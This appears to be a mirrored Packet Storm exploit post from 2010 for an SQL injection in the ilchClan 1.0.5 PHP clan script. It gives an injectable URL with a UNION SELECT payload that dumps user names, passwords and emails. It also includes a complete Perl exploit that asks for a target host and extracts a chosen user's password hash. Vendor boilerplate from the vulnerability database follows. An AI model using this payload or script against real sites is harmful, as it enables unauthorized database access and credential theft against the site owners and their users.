Lucene search
K

ilchClan 1.0.5 SQL Injection

🗓️ 06 Apr 2010 00:00:00Reported by Easy LasterType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

ilchClan 1.0.5 SQL Injection Vulnerabilit

Code
`----------------------------Information------------------------------------------------  
+Name : ilchClan <= 1.0.5 SQL Injection Vulnerability & Exploit  
+Autor : Easy Laster  
+Date : 05.04.2010  
+Script : ilchClan <= 1.0.5  
+Download : http://www.ilch.de/downloads-show-65.html  
+Demo : http://easystestsite.ea.ohost.de/  
+Price : for free  
+Language : PHP  
+Discovered by Easy Laster  
+Security Group 4004-Security-Project  
+Greetz to Team-Internet ,Underground Agents  
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,  
Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,  
N00bor,Ic3Drag0n,novaca!ne.  
  
---------------------------------------------------------------------------------------  
  
___ ___ ___ ___ _ _ _____ _ _   
| | | | | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___| _ |___ ___ |_|___ ___| |_   
|_ | | | | |_ |___|_ -| -_| _| | | _| | _| | |___| __| _| . | | | -_| _| _|  
|_|___|___| |_| |___|___|___|___|_| |_|_| |_ | |__| |_| |___|_| |___|___|_|   
|___| |___|   
  
  
----------------------------------------------------------------------------------------  
+Vulnerability : http://www.site.com/ilchClan105/?m=downloads&cid=  
  
+Exploitable : http://www.site.com/ilchClan105/?m=downloads&cid=1+and+1=0+union+select  
+1,concat(name,0x3a,pass,0x3a,email)+from+ilchclan_user+where+id=1--  
  
  
-----------------------------------------------------------------------------------------  
  
#Exploit  
  
  
#!usr\bin\perl  
#  
#  
##################################################  
# Modules #  
#------------------------------------------------#   
use strict; # Better coding. #  
use warnings; # Useful warnings. #  
use LWP::Simple; # procedureal interface#  
##################################################  
print "  
##################################################  
# 4004-Security-Project #  
##################################################  
# ilchClan <= 1.0.5 SQL Injection #  
# Exploit #  
# Using Host+Path+Userid+prefix #  
# demo.de /ilchclan/ 1 ilchClan #  
# Easy Laster #  
##################################################  
\a\n";  
my($host,$path,$userid,$request);  
my($first,$block,$error,$dir,$prefix);  
$block = "  
##################################################\n";  
$error = "Exploit failed";  
print "$block";  
print q(Target demo.de->);  
chomp($host =<STDIN>);  
if ($host eq""){  
die "$error\a\n"};  
print "$block";  
print q(Path /path/ ->);  
chomp($path =<STDIN>);  
if ($path eq""){  
die "$error\a\n";}  
print "$block";  
print q(userid->);  
chomp($userid =<STDIN>);  
if ($userid eq""){  
die "$error\a\n";}  
print "$block";  
print q(prefix ilchClan ->);  
chomp($prefix =<STDIN>);  
if ($prefix eq""){  
die "$error\a\n";}  
print "$block";  
$dir = "?m=downloads&cid=";  
print "<~> Exploiting...\n";  
$host = "http://".$host.$path.$dir;  
print "<~> Connecting...\n";  
$request = get($host."1+and+1=0+union+select+1,concat(0x23,0x23,0x23,0x23,0x23,pass)+from+".$prefix."_user+where+id=".$userid."--");  
$first = rindex($request,"#####");  
if ($first != -1)  
{  
print "<~> Exploiting...\n";  
print "$block\n";  
$request = substr($request, $first+5, 32);  
print "<~> Hash = $request\n\r\n\a";  
}  
else  
{  
print "<~> $error";  
}  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation